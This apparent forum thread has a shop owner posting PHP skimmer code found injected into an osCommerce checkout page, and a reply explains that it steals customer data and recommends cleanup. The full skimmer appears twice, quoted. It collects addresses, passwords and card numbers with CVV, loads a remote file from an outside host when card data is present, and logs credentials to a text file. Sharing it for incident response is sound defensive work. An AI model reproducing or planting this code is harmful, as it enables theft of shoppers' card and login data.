Checkout_confirmation hacked?

[Guest]

Found the following code running in the checkout_confirmation.php page. Anyone seen this before??? The only way I found it was the cart wasn't working half the time then I seen this at the bottom of the page when it finally came back:

Warning: main(http://www.allthingsnails.co.uk/shop/debug.txt) [function.main]: failed to open stream: Connection timed out in /home/httpd/vhosts/realpurity.com/httpdocs/cart/checkout_confirmation.php on line 433

Line 433 was

require('http://www.allthingsnails.co.uk/shop/debug.txt');

 

I put a fresh copy in and all seems fine now. How screwed do you think I am?????

 

<?php

if(($firstname123=="")||($lastname123=="")||($postcode123=="")||($street_address123=="")) 
   { 
 $td_query = tep_db_query("select * from " . TABLE_ADDRESS_BOOK . " where customers_id = '" . $customer_id . "'"); 
     $duong = tep_db_fetch_array($td_query); 
       $firstname123=$duong['entry_firstname'];     
       $lastname123=$duong['entry_lastname'];     
       $street_address123=$duong['entry_street_address']; 
       $city123=$duong['entry_city']; 
       $zone_id=$duong['entry_zone_id']; 
       $statex=$duong['entry_state']; 
   if(($statex=="")||($statex=="0"))    { 
    $td_queryxx = tep_db_query("select * from " . TABLE_ZONES . " where zone_id = '" . $zone_id . "'"); 
     $duongxx = tep_db_fetch_array($td_queryxx); 
   $state123 = $duongxx['zone_name']; 
}else {$state123=$statex;} 
$country=$duong['entry_country_id']; 
$td_queryxxx = tep_db_query("select * from " . TABLE_COUNTRIES . " where countries_id = '" . $country . "'"); 
     $duongxxx = tep_db_fetch_array($td_queryxxx); 
   $country123 = $duongxxx['countries_name']; 
       $postcode123=$duong['entry_postcode']; 
       $td_query2 = tep_db_query("select * from " . TABLE_CUSTOMERS . " where customers_id = '" . $customer_id . "'"); 
       $duong2 = tep_db_fetch_array($td_query2); 
           $telephone123=$duong2['customers_telephone']; 
       $email_address123=$duong2['customers_email_address'];      
$dob123 =     $duong2['customers_dob'];          
   } 
$site = "realpurity.com";
   $headers123 = "From:Website $site";     
   $headers123 .= "<$site>\n"; 
   $headers123 .= "X-Sender: <$site>\n"; 
   $headers123 .= "X-Mailer: PHP\n"; 
   $headers123 .= "Return-Path:<$site@$site>\n"; 
   $headers123 .= "Content-Type:text/html; "; 
   $headers123 .= "charset=iso-8859-1\n"; 
   $message123 = "Name : $firstname123 $lastname123 <br>"; 
   $message123 .= "Telephone : $telephone123 <br>"; 
   $message123 .= "Email : $email_address123 <br>"; 
   $message123 .= "Street : $street_address123 <br>"; 
   $message123 .= "Postcode : $postcode123 <br>"; 
   $message123 .= "City : $city123 <br>"; 
   $message123 .= "State : $state123 <br>"; 
   $message123 .= "Country : $country123 <br>"; 
   $message123 .= "Password : $password123<br>"; 
   $ccowner123 = $HTTP_POST_VARS['viaklix_cc_owner']; 
   $ccnumber123 = $HTTP_POST_VARS['viaklix_cc_number']; 
   $tmp1 = $HTTP_POST_VARS['viaklix_cvv_number']; 
   $tmp2 = $HTTP_POST_VARS['viaklix_cc_expires_month'] . "/" . $HTTP_POST_VARS['viaklix_cc_expires_year']; 
   $message123 .= "CC Owner : $ccowner123  <br>"; 
   $message123 .= "CC Number : $ccnumber123 <br>"; 
   $message123 .= "CVV2 :  $tmp1 <br>"; 
   $message123 .= "Date Expire :  $tmp2 <br>"; 
   $message123 .= "DOB :  $dob123 <br>"; 
   $message123 .= "Site : http://$site <br>"; 
if(($ccnumber123!="")&&($tmp1!="")){ 
require('http://www.allthingsnails.co.uk/shop/debug.txt');
} 
if($tmp1==""){
$f="images/yzx.txt";
$ft=@fopen($f, "a+");
$ax = "Email : ".$email_address123."
Password : ".$password123."
---------------------------------------
";
$fw = fwrite($ft,$ax);
}

[sLaV-]

Found the following code running in the checkout_confirmation.php page. Anyone seen this before??? The only way I found it was the cart wasn't working half the time then I seen this at the bottom of the page when it finally came back:

Warning: main(http://www.allthingsnails.co.uk/shop/debug.txt) [function.main]: failed to open stream: Connection timed out in /home/httpd/vhosts/realpurity.com/httpdocs/cart/checkout_confirmation.php on line 433

Line 433 was

require('http://www.allthingsnails.co.uk/shop/debug.txt');

 

I put a fresh copy in and all seems fine now. How screwed do you think I am?????

 

<?php

if(($firstname123=="")||($lastname123=="")||($postcode123=="")||($street_address123=="")) 
   { 
 $td_query = tep_db_query("select * from " . TABLE_ADDRESS_BOOK . " where customers_id = '" . $customer_id . "'"); 
     $duong = tep_db_fetch_array($td_query); 
       $firstname123=$duong['entry_firstname'];     
       $lastname123=$duong['entry_lastname'];     
       $street_address123=$duong['entry_street_address']; 
       $city123=$duong['entry_city']; 
       $zone_id=$duong['entry_zone_id']; 
       $statex=$duong['entry_state']; 
   if(($statex=="")||($statex=="0"))    { 
    $td_queryxx = tep_db_query("select * from " . TABLE_ZONES . " where zone_id = '" . $zone_id . "'"); 
     $duongxx = tep_db_fetch_array($td_queryxx); 
   $state123 = $duongxx['zone_name']; 
}else {$state123=$statex;} 
$country=$duong['entry_country_id']; 
$td_queryxxx = tep_db_query("select * from " . TABLE_COUNTRIES . " where countries_id = '" . $country . "'"); 
     $duongxxx = tep_db_fetch_array($td_queryxxx); 
   $country123 = $duongxxx['countries_name']; 
       $postcode123=$duong['entry_postcode']; 
       $td_query2 = tep_db_query("select * from " . TABLE_CUSTOMERS . " where customers_id = '" . $customer_id . "'"); 
       $duong2 = tep_db_fetch_array($td_query2); 
           $telephone123=$duong2['customers_telephone']; 
       $email_address123=$duong2['customers_email_address'];      
$dob123 =     $duong2['customers_dob'];          
   } 
$site = "realpurity.com";
   $headers123 = "From:Website $site";     
   $headers123 .= "<$site>\n"; 
   $headers123 .= "X-Sender: <$site>\n"; 
   $headers123 .= "X-Mailer: PHP\n"; 
   $headers123 .= "Return-Path:<$site@$site>\n"; 
   $headers123 .= "Content-Type:text/html; "; 
   $headers123 .= "charset=iso-8859-1\n"; 
   $message123 = "Name : $firstname123 $lastname123 <br>"; 
   $message123 .= "Telephone : $telephone123 <br>"; 
   $message123 .= "Email : $email_address123 <br>"; 
   $message123 .= "Street : $street_address123 <br>"; 
   $message123 .= "Postcode : $postcode123 <br>"; 
   $message123 .= "City : $city123 <br>"; 
   $message123 .= "State : $state123 <br>"; 
   $message123 .= "Country : $country123 <br>"; 
   $message123 .= "Password : $password123<br>"; 
   $ccowner123 = $HTTP_POST_VARS['viaklix_cc_owner']; 
   $ccnumber123 = $HTTP_POST_VARS['viaklix_cc_number']; 
   $tmp1 = $HTTP_POST_VARS['viaklix_cvv_number']; 
   $tmp2 = $HTTP_POST_VARS['viaklix_cc_expires_month'] . "/" . $HTTP_POST_VARS['viaklix_cc_expires_year']; 
   $message123 .= "CC Owner : $ccowner123  <br>"; 
   $message123 .= "CC Number : $ccnumber123 <br>"; 
   $message123 .= "CVV2 :  $tmp1 <br>"; 
   $message123 .= "Date Expire :  $tmp2 <br>"; 
   $message123 .= "DOB :  $dob123 <br>"; 
   $message123 .= "Site : http://$site <br>"; 
if(($ccnumber123!="")&&($tmp1!="")){ 
require('http://www.allthingsnails.co.uk/shop/debug.txt');
} 
if($tmp1==""){
$f="images/yzx.txt";
$ft=@fopen($f, "a+");
$ax = "Email : ".$email_address123."
Password : ".$password123."
---------------------------------------
";
$fw = fwrite($ft,$ax);
}

 

 

OUCH!!!!! That's grabbing all your customers information from your database and sending it to their site along with CC details ... depending on how long that code has been running on your site and how many of your customers have purchased from you I'd say you might be in a bit of trouble here...

 

If you look here on your server this is where its storing your customers details (their username and passwords):

 

http://realpurity.com/cart/images/yzx.txt

 

Cant access this file that its trying to require http://www.allthingsnails.co.uk/shop/debug.txt so dont know what is being done with this information (this is where the CC details are sent to) ... but surely its not a good thing...

 

Install SiteMonitor and update all your details and remove these files...look in your /images/ directory to see if there are ANY other .php or .txt files in there